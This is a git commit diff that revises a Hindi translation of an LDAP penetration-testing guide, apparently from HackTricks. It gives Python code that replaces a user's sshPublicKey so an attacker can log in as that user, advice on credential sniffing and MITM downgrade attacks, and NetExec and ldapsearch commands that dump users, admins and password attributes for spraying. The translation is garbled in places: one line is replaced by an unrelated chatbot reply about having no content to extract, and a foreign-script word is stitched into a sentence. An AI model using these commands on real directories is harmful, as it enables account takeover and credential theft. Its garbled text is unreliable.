Translated ['', 'src/network-services-pentesting/pentesting-ldap.md', 's

This commit is contained in:
Translator 2025-09-30 23:18:33 +00:00
parent 440333682a
commit 1a7170a1de
4 changed files with 271 additions and 167 deletions

View File

@ -2,21 +2,21 @@
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
**LDAP** (लाइटवेट डायरेक्टरी एक्सेस प्रोटोकॉल) का उपयोग मुख्य रूप से विभिन्न संस्थाओं जैसे संगठनों, व्यक्तियों और नेटवर्क के भीतर फ़ाइलों और उपकरणों जैसे संसाधनों को खोजने के लिए किया जाता है, चाहे वे सार्वजनिक हों या निजी। यह अपने पूर्ववर्ती, DAP की तुलना में एक सरल दृष्टिकोण प्रदान करता है, जिसमें कोड का आकार छोटा होता है। **LDAP** (Lightweight Directory Access Protocol) का उपयोग मुख्य रूप से सार्वजनिक और निजी नेटवर्कों में संगठनों, व्यक्तियों और फ़ाइलों व डिवाइस जैसे संसाधनों जैसी विभिन्न इकाइयों का पता लगाने के लिए किया जाता है। यह अपने पूर्ववर्ती DAP की तुलना में छोटे कोड फ़ुटप्रिंट के कारण एक अधिक सरल तरीका प्रदान करता है।
LDAP निर्देशिकाएँ इस तरह से संरचित होती हैं कि उन्हें कई सर्वरों के बीच वितरित किया जा सके, प्रत्येक सर्वर में निर्देशिका का एक **प्रतिलिपि** और **समन्वयित** संस्करण होता है, जिसे डायरेक्टरी सिस्टम एजेंट (DSA) कहा जाता है। अनुरोधों को संभालने की जिम्मेदारी पूरी तरह से LDAP सर्वर पर होती है, जो आवश्यकतानुसार अन्य DSAs के साथ संवाद कर सकता है ताकि अनुरोधकर्ता को एकीकृत प्रतिक्रिया प्रदान की जा सके LDAP डिरेक्टरी को कई सर्वरों में वितरित करने के लिए इस तरह संरचित किया गया है कि हर सर्वर डिरेक्टरी का एक **replicated** और **synchronized** संस्करण रखता है, जिसे Directory System Agent (DSA) कहा जाता है। अनुरोधों को संभालने की जिम्मेदारी पूरी तरह LDAP सर्वर की होती है, जो अनुरोधकर्ता को एक एकीकृत उत्तर देने के लिए आवश्यकतानुसार अन्य DSA से संचार कर सकता है
LDAP निर्देशिका का संगठन एक **पेड़ की संरचना की तरह है, जो शीर्ष पर रूट निर्देशिका से शुरू होता है**। यह देशों में शाखा करता है, जो आगे संगठनों में विभाजित होते हैं, और फिर विभिन्न विभाजनों या विभागों का प्रतिनिधित्व करने वाले संगठनात्मक इकाइयों तक पहुँचता है, अंततः व्यक्तियों के स्तर तक पहुँचता है, जिसमें लोग और साझा संसाधन जैसे फ़ाइलें और प्रिंटर शामिल होते हैं। LDAP डिरेक्टरी का संगठन एक **ट्री हायारार्की, ऊपर रूट डिरेक्टरी से शुरू** जैसा होता है। यह देशों में शाखित होता है, जो आगे संगठनों में विभाजित होते हैं, और फिर организаțional units में, जो विभिन्न डिवीज़न या विभागों का प्रतिनिधित्व करते हैं, अंततः व्यक्तिगत इकाइयों के स्तर तक पहुँचते हैं, जिसमें लोग और साझा संसाधन जैसे फ़ाइलें और प्रिंटर शामिल हैं।
**डिफॉल्ट पोर्ट:** 389 और 636(ldaps)। ग्लोबल कैटलॉग (LDAP in ActiveDirectory) डिफ़ॉल्ट रूप से पोर्ट 3268 और 3269 पर LDAPS के लिए उपलब्ध है **डिफॉल्ट पोर्ट:** 389 और 636(ldaps)। Global Catalog (LDAP in ActiveDirectory) डिफ़ॉल्ट रूप से पोर्ट 3268 पर उपलब्ध है, और LDAPS के लिए 3269 पर
``` ```
PORT STATE SERVICE REASON PORT STATE SERVICE REASON
389/tcp open ldap syn-ack 389/tcp open ldap syn-ack
636/tcp open tcpwrapped 636/tcp open tcpwrapped
``` ```
### LDAP डेटा इंटरचेंज फॉर्मेट ### LDAP Data Interchange Format
LDIF (LDAP डेटा इंटरचेंज फॉर्मेट) निर्देशिका सामग्री को रिकॉर्ड के सेट के रूप में परिभाषित करता है। यह अपडेट अनुरोधों (जोड़ें, संशोधित करें, हटाएं, नाम बदलें) का प्रतिनिधित्व भी कर सकता है। LDIF (LDAP Data Interchange Format) निर्देशिका की सामग्री को रिकॉर्ड्स के सेट के रूप में परिभाषित करता है। यह अपडेट अनुरोधों (Add, Modify, Delete, Rename) को भी दर्शा सकता है।
```bash ```bash
dn: dc=local dn: dc=local
dc: local dc: local
@ -45,14 +45,14 @@ ou:
mail: pepe@hacktricks.xyz mail: pepe@hacktricks.xyz
phone: 23627387495 phone: 23627387495
``` ```
- पंक्तियाँ 1-3 शीर्ष स्तर डोमेन local को परिभाषित करती हैं - लाइनें 1-3 टॉप-लेवल डोमेन local को परिभाषित करती हैं
- पंक्तियाँ 5-8 पहले स्तर डोमेन moneycorp (moneycorp.local) को परिभाषित करती हैं - लाइनें 5-8 पहले लेवल डोमेन moneycorp (moneycorp.local) को परिभाषित करती हैं
- पंक्तियाँ 10-16 2 संगठनात्मक इकाइयों: dev और sales को परिभाषित करती हैं - लाइनें 10-16 दो संगठनात्मक इकाइयाँ परिभाषित करती हैं: dev और sales
- पंक्तियाँ 18-26 डोमेन का एक ऑब्जेक्ट बनाती हैं और मानों के साथ विशेषताएँ असाइन करती हैं - लाइनें 18-26 डोमेन का एक ऑब्जेक्ट बनाती हैं और attributes को मान असाइन करती हैं
## डेटा लिखें ## डेटा लिखें
ध्यान दें कि यदि आप मानों को संशोधित कर सकते हैं तो आप वास्तव में दिलचस्प क्रियाएँ करने में सक्षम हो सकते हैं। उदाहरण के लिए, कल्पना करें कि आप **अपने उपयोगकर्ता या किसी भी उपयोगकर्ता की "sshPublicKey" जानकारी बदल सकते हैं**। यह अत्यधिक संभावित है कि यदि यह विशेषता मौजूद है, तो **ssh सार्वजनिक कुंजियों को LDAP से पढ़ रहा है**। यदि आप किसी उपयोगकर्ता की सार्वजनिक कुंजी को संशोधित कर सकते हैं तो आप **उस उपयोगकर्ता के रूप में लॉगिन करने में सक्षम होंगे, भले ही ssh में पासवर्ड प्रमाणीकरण सक्षम न हो**। ध्यान दें कि अगर आप values को modify कर सकते हैं तो आप बहुत दिलचस्प कार्रवाइयाँ कर सकते हैं। उदाहरण के लिए, कल्पना कीजिए कि आप **"sshPublicKey" जानकारी बदल सकते हैं** अपने user या किसी भी user की। यह अत्यंत संभावित है कि अगर यह attribute मौजूद है, तो **ssh LDAP से public keys पढ़ रहा है**। यदि आप किसी user की public key modify कर सकते हैं तो आप **उस user के रूप में login करने में सक्षम होंगे भले ही password authentication ssh में सक्षम न हो**।
```bash ```bash
# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/ # Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
>>> import ldap3 >>> import ldap3
@ -64,30 +64,55 @@ True
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN' u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]}) >>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
``` ```
## स्पष्ट पाठ क्रेडेंशियल्स को स्निफ़ करें ## Sniff clear text credentials
यदि LDAP को SSL के बिना उपयोग किया जाता है, तो आप नेटवर्क में **स्पष्ट पाठ में क्रेडेंशियल्स को स्निफ़** कर सकते हैं। यदि LDAP को बिना SSL के उपयोग किया जाता है तो आप नेटवर्क में **sniff credentials in plain text** कर सकते हैं।
इसके अलावा, आप नेटवर्क में **LDAP सर्वर और क्लाइंट के बीच** एक **MITM** हमला कर सकते हैं। यहाँ आप एक **डाउनग्रेड अटैक** कर सकते हैं ताकि क्लाइंट **स्पष्ट पाठ में क्रेडेंशियल्स** का उपयोग करके लॉगिन कर सके। इसके अलावा, आप नेटवर्क में एक **MITM** attack कर सकते हैं **between the LDAP server and the client.** यहाँ आप एक **Downgrade Attack** कर सकते हैं ताकि client लॉगिन के लिए **credentials in clear text** का उपयोग करे।
**यदि SSL का उपयोग किया जाता है**, तो आप ऊपर बताए गए अनुसार **MITM** करने की कोशिश कर सकते हैं लेकिन एक **झूठा प्रमाणपत्र** पेश करके, यदि **उपयोगकर्ता इसे स्वीकार करता है**, तो आप प्रमाणीकरण विधि को डाउनग्रेड करने में सक्षम होते हैं और फिर से क्रेडेंशियल्स देख सकते हैं। **If SSL is used** तो आप ऊपर बताए गए जैसे **MITM** करने की कोशिश कर सकते हैं लेकिन एक **false certificate** पेश करके; यदि **user accepts it**, तो आप authentication method को Downgrade कर सकते हैं और फिर से credentials देख सकते हैं।
## गुमनाम पहुंच ## Anonymous Access
### TLS SNI जांच को बायपास करें ### Bypass TLS SNI check
[**इस लेख**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) के अनुसार, केवल एक मनमाने डोमेन नाम (जैसे company.com) के साथ LDAP सर्वर तक पहुँचकर, वह गुमनाम उपयोगकर्ता के रूप में LDAP सेवा से संपर्क करने और जानकारी निकालने में सक्षम था: According to [**this writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) सिर्फ़ LDAP server को किसी arbitrary domain name (जैसे company.com) से एक्सेस करके वह LDAP service से संपर्क कर सका और एक anonymous user के रूप में जानकारी extract कर सका:
```bash ```bash
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" + ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
``` ```
### LDAP अनाम बाइंड्स ### LDAP anonymous binds
[LDAP अनाम बाइंड्स](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) **अप्रमाणित हमलावरों** को डोमेन से जानकारी प्राप्त करने की अनुमति देते हैं, जैसे कि उपयोगकर्ताओं, समूहों, कंप्यूटरों, उपयोगकर्ता खाता विशेषताओं और डोमेन पासवर्ड नीति की पूरी सूची। यह एक **विरासत कॉन्फ़िगरेशन** है, और Windows Server 2003 से, केवल प्रमाणित उपयोगकर्ताओं को LDAP अनुरोध शुरू करने की अनुमति है।\ [LDAP anonymous binds](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) allow **अनप्रमाणित हमलावर** to retrieve information from the domain, such as a complete listing of users, groups, computers, user account attributes, and the domain password policy. This is a **पुरानी कॉन्फ़िगरेशन**, and as of Windows Server 2003, only authenticated users are permitted to initiate LDAP requests.\
हालांकि, प्रशासकों को **अनाम बाइंड्स की अनुमति देने के लिए एक विशेष एप्लिकेशन सेटअप करने की आवश्यकता हो सकती है** और इरादे से अधिक पहुंच दी जा सकती है, जिससे अप्रमाणित उपयोगकर्ताओं को AD में सभी वस्तुओं तक पहुंच मिलती है। हालाँकि, व्यवस्थापकों ने किसी विशेष एप्लिकेशन को **set up a particular application to allow anonymous binds** करने की आवश्यकता महसूस की हो सकती है और उन्होंने नियोजित से अधिक पहुँच दे दी हो, जिससे अनप्रमाणित उपयोगकर्ताओं को AD के सभी ऑब्जेक्ट्स तक पहुँच मिल सकती है।
## मान्य क्रेडेंशियल्स ### Anonymous LDAP enumeration with NetExec (null bind)
यदि आपके पास LDAP सर्वर में लॉगिन करने के लिए मान्य क्रेडेंशियल्स हैं, तो आप निम्नलिखित का उपयोग करके डोमेन एडमिन के बारे में सभी जानकारी डंप कर सकते हैं: यदि null/anonymous bind की अनुमति है, तो आप NetExecs LDAP मॉड्यूल के माध्यम से बिना creds के सीधे उपयोगकर्ता, समूह और attributes निकाल सकते हैं। उपयोगी फ़िल्टर:
- (objectClass=*) — base DN के अंतर्गत वस्तुओं की सूची बनाने के लिए
- (sAMAccountName=*) — user principals निकालने के लिए
Examples:
```bash
# Enumerate objects from the root DSE (base DN autodetected)
netexec ldap <DC_FQDN> -u '' -p '' --query "(objectClass=*)" ""
# Dump users with key attributes for spraying and targeting
netexec ldap <DC_FQDN> -u '' -p '' --query "(sAMAccountName=*)" ""
# Extract just the sAMAccountName field into a list
netexec ldap <DC_FQDN> -u '' -p '' --query "(sAMAccountName=*)" "" \
| awk -F': ' '/sAMAccountName:/ {print $2}' | sort -u > users.txt
```
किस चीज़ की तलाश करें:
- sAMAccountName, userPrincipalName
- memberOf और OU प्लेसमेंट ताकि targeted sprays को सीमित किया जा सके
- pwdLastSet (समयगत पैटर्न), userAccountControl flags (disabled, smartcard required, आदि)
नोट: यदि anonymous bind की अनुमति नहीं है, तो आमतौर पर एक Operations error दिखाई देगा जो सूचित करेगा कि bind की आवश्यकता है।
## वैध क्रेडेंशियल्स
यदि आपके पास LDAP server में login करने के लिए वैध क्रेडेंशियल्स हैं, तो आप Domain Admin के बारे में सभी जानकारी dump कर सकते हैं:
[ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump) [ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump)
```bash ```bash
@ -96,11 +121,11 @@ ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authty
``` ```
### [Brute Force](../generic-hacking/brute-force.md#ldap) ### [Brute Force](../generic-hacking/brute-force.md#ldap)
## Enumeration ## सूचीकरण
### Automated ### स्वचालित
इसका उपयोग करके आप **सार्वजनिक जानकारी** (जैसे डोमेन नाम)**:** देख सकेंगे: इसका उपयोग करके आप **सार्वजनिक जानकारी** (जैसे domain name)**:** देख सकेंगे
```bash ```bash
nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
``` ```
@ -108,11 +133,11 @@ nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
<details> <details>
<summary>See LDAP enumeration with python</summary> <summary>LDAP enumeration with python देखें</summary>
आप **python का उपयोग करके क्रेडेंशियल्स के साथ या बिना LDAP को सूचीबद्ध करने** की कोशिश कर सकते हैं: `pip3 install ldap3` आप python का उपयोग करके LDAP को credentials के साथ या बिना credentials के **enumerate** करने की कोशिश कर सकते हैं: `pip3 install ldap3`
पहले **बिना** क्रेडेंशियल्स के **कनेक्ट करने** की कोशिश करें: सबसे पहले **connect without** credentials करने की कोशिश करें:
```bash ```bash
>>> import ldap3 >>> import ldap3
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True) >>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
@ -121,7 +146,7 @@ nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
True True
>>> server.info >>> server.info
``` ```
यदि प्रतिक्रिया `True` है जैसे कि पिछले उदाहरण में, आप LDAP से कुछ **दिलचस्प डेटा** प्राप्त कर सकते हैं (जैसे **नामकरण संदर्भ** या **डोमेन नाम**) सर्वर से: यदि प्रतिक्रिया पिछले उदाहरण की तरह `True` है, तो आप LDAP सर्वर से कुछ **दिलचस्प डेटा** (जैसे **naming context** या **domain name**) प्राप्त कर सकते हैं:
```bash ```bash
>>> server.info >>> server.info
DSA info (from DSE): DSA info (from DSE):
@ -129,13 +154,13 @@ Supported LDAP versions: 3
Naming contexts: Naming contexts:
dc=DOMAIN,dc=DOMAIN dc=DOMAIN,dc=DOMAIN
``` ```
एक बार जब आपके पास नामकरण संदर्भ हो, तो आप कुछ और रोमांचक क्वेरी बना सकते हैं। यह सरल क्वेरी आपको निर्देशिका में सभी वस्तुओं को दिखानी चाहिए: एक बार जब आपके पास naming context मौजूद हो, तो आप कुछ और रोचक क्वेरीज कर सकते हैं। यह सरल क्वेरी आपको डायरेक्टरी की सभी ऑब्जेक्ट्स दिखानी चाहिए:
```bash ```bash
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*') >>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
True True
>> connection.entries >> connection.entries
``` ```
या **dump** पूरा ldap: या पूरा ldap **dump** करें:
```bash ```bash
>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword') >> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
True True
@ -145,7 +170,7 @@ True
### windapsearch ### windapsearch
[**Windapsearch**](https://github.com/ropnop/windapsearch) एक Python स्क्रिप्ट है जो **Windows** डोमेन से उपयोगकर्ताओं, समूहों और कंप्यूटरों की **सूची बनाने** के लिए LDAP क्वेरी का उपयोग करती है। [**Windapsearch**](https://github.com/ropnop/windapsearch) एक Python स्क्रिप्ट है जो LDAP queries का उपयोग करके **enumerate users, groups, and computers from a Windows** domain को सूचीबद्ध करने के लिए उपयोगी है.
```bash ```bash
# Get computers # Get computers
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
@ -160,7 +185,7 @@ python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --p
``` ```
### ldapsearch ### ldapsearch
शून्य क्रेडेंशियल्स की जांच करें या यदि आपके क्रेडेंशियल्स मान्य हैं: null credentials की जाँच करें या यह सत्यापित करें कि आपकी credentials वैध हैं:
```bash ```bash
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>" ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>" ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
@ -173,9 +198,9 @@ result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v3839 tion a successful bind must be completed on the connection., data 0, v3839
``` ```
यदि आप कुछ ऐसा पाते हैं जो कहता है कि "_bind must be completed_" का मतलब है कि क्रेडेंशियल्स गलत हैं। यदि आपको कुछ ऐसा संदेश मिलता है कि "_bind must be completed_" तो इसका मतलब है कि credentials गलत हैं।
आप **एक डोमेन से सब कुछ निकाल सकते हैं**: आप निम्नलिखित का उपयोग करके **डोमेन से सब कुछ** निकाल सकते हैं:
```bash ```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>" ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
-x Simple Authentication -x Simple Authentication
@ -184,48 +209,48 @@ ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_
-w My password -w My password
-b Base site, all data from here will be given -b Base site, all data from here will be given
``` ```
**उपयोगकर्ता**: निकालें **users**:
```bash ```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>" ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local" #Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
``` ```
**कंप्यूटर** निकालें **कंप्यूटर**:
```bash ```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>" ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"
``` ```
**मेरी जानकारी निकालें**: I don't have any content to extract from. Please paste the text or file you want me to extract your info from (or specify which fields to extract: name, email, phone, company, etc.).
```bash ```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>" ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
``` ```
**डोमेन एडमिन्स**: निकालें **Domain Admins**:
```bash ```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>" ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
``` ```
**डोमेन उपयोगकर्ता**: निकालें **Domain Users**:
```bash ```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>" ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
``` ```
**एंटरप्राइज एडमिन्स**: निकालें **Enterprise Admins**:
```bash ```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>" ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
``` ```
**प्रशासक**: निकालें **Administrators**:
```bash ```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>" ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
``` ```
**रिमोट डेस्कटॉप समूह**: निकालें **Remote Desktop Group**:
```bash ```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>" ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
``` ```
किसी भी पासवर्ड तक पहुँच है या नहीं यह देखने के लिए आप एक क्वेरी निष्पादित करने के बाद grep का उपयोग कर सकते हैं: यह देखने के लिए कि क्या आपके पास किसी password तक पहुँच है, आप किसी एक query चलाने के बाद grep का उपयोग कर सकते हैं:
```bash ```bash
<ldapsearchcmd...> | grep -i -A2 -B2 "userpas" <ldapsearchcmd...> | grep -i -A2 -B2 "userpas"
``` ```
कृपया ध्यान दें कि यहाँ जो पासवर्ड आप पा सकते हैं वे असली नहीं हो सकते... कृपया ध्यान दें कि यहाँ जो पासवर्ड आप पाएंगे वे असली नहीं हो सकते...
#### pbis #### pbis
आप **pbis** यहाँ से डाउनलोड कर सकते हैं: [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/) और यह आमतौर पर `/opt/pbis` में स्थापित होता है।\ आप **pbis** को यहाँ से डाउनलोड कर सकते हैं: [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/) और यह आम तौर पर `/opt/pbis` में इंस्टॉल होता है।\
**Pbis** आपको आसानी से बुनियादी जानकारी प्राप्त करने की अनुमति देता है: **Pbis** आपको आसानी से बुनियादी जानकारी प्राप्त करने की अनुमति देता है:
```bash ```bash
#Read keytab file #Read keytab file
@ -255,13 +280,13 @@ ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Rem
./list-groups-for-user <username> ./list-groups-for-user <username>
./lsa list-groups-for-user <username> ./lsa list-groups-for-user <username>
#Get groups of each user #Get groups of each user
./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done ./enum-users | grep "Name:" | sed -e "s,\\,\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
#Get users of a group #Get users of a group
./enum-members --by-name "domain admins" ./enum-members --by-name "domain admins"
./lsa enum-members --by-name "domain admins" ./lsa enum-members --by-name "domain admins"
#Get users of each group #Get users of each group
./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done ./enum-groups | grep "Name:" | sed -e "s,\\,\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
#Get description of each user #Get description of each user
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do ./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
@ -274,27 +299,27 @@ done
### Apache Directory ### Apache Directory
[**यहा से Apache Directory डाउनलोड करें**](https://directory.apache.org/studio/download/download-linux.html)। आप इस उपकरण का [उदाहरण यहां देख सकते हैं](https://www.youtube.com/watch?v=VofMBg2VLnw&t=3840s)। [**यहा से Apache Directory डाउनलोड करें**](https://directory.apache.org/studio/download/download-linux.html). इस टूल के उपयोग का एक उदाहरण आप [यहाँ](https://www.youtube.com/watch?v=VofMBg2VLnw&t=3840s) पा सकते हैं
### jxplorer ### jxplorer
आप यहा LDAP सर्वर के साथ एक ग्राफिकल इंटरफेस डाउनलोड कर सकते हैं: [http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html) आप यहा LDAP सर्वर के साथ एक ग्राफिकल इंटरफेस डाउनलोड कर सकते हैं: [http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html)
डिफ़ॉल्ट रूप से इसे इस स्थान पर स्थापित किया गया है: _/opt/jxplorer_ डिफ़ॉल्ट रूप से यह स्थापित होता है: _/opt/jxplorer_
![](<../images/image (482).png>) ![](<../images/image (482).png>)
### Godap ### Godap
Godap एक इंटरैक्टिव टर्मिनल उपयोगकर्ता इंटरफेस है जो LDAP के लिए है, जिसका उपयोग AD और अन्य LDAP सर्वरों में वस्तुओं और विशेषताओं के साथ बातचीत करने के लिए किया जा सकता है। यह Windows, Linux और MacOS के लिए उपलब्ध है और इसमें सरल बाइंड्स, पास-थ-हैश, पास-थ-टिकट और पास-थ-प्रमाणपत्र जैसे कई अन्य विशेष सुविधाओं के साथ-साथ वस्तुओं को खोजने/बनाने/बदलने/हटाने, समूहों से उपयोगकर्ताओं को जोड़ने/हटाने, पासवर्ड बदलने, वस्तु अनुमतियों (DACLs) को संपादित करने, Active-Directory Integrated DNS (ADIDNS) को संशोधित करने, JSON फ़ाइलों में निर्यात करने आदि का समर्थन करता है। Godap LDAP के लिए एक इंटरैक्टिव टर्मिनल यूजर इंटरफेस है जिसे AD और अन्य LDAP सर्वरों में objects और attributes के साथ इंटरैक्ट करने के लिए इस्तेमाल किया जा सकता है। यह Windows, Linux और MacOS के लिए उपलब्ध है और simple binds, pass-the-hash, pass-the-ticket & pass-the-cert को सपोर्ट करता है, 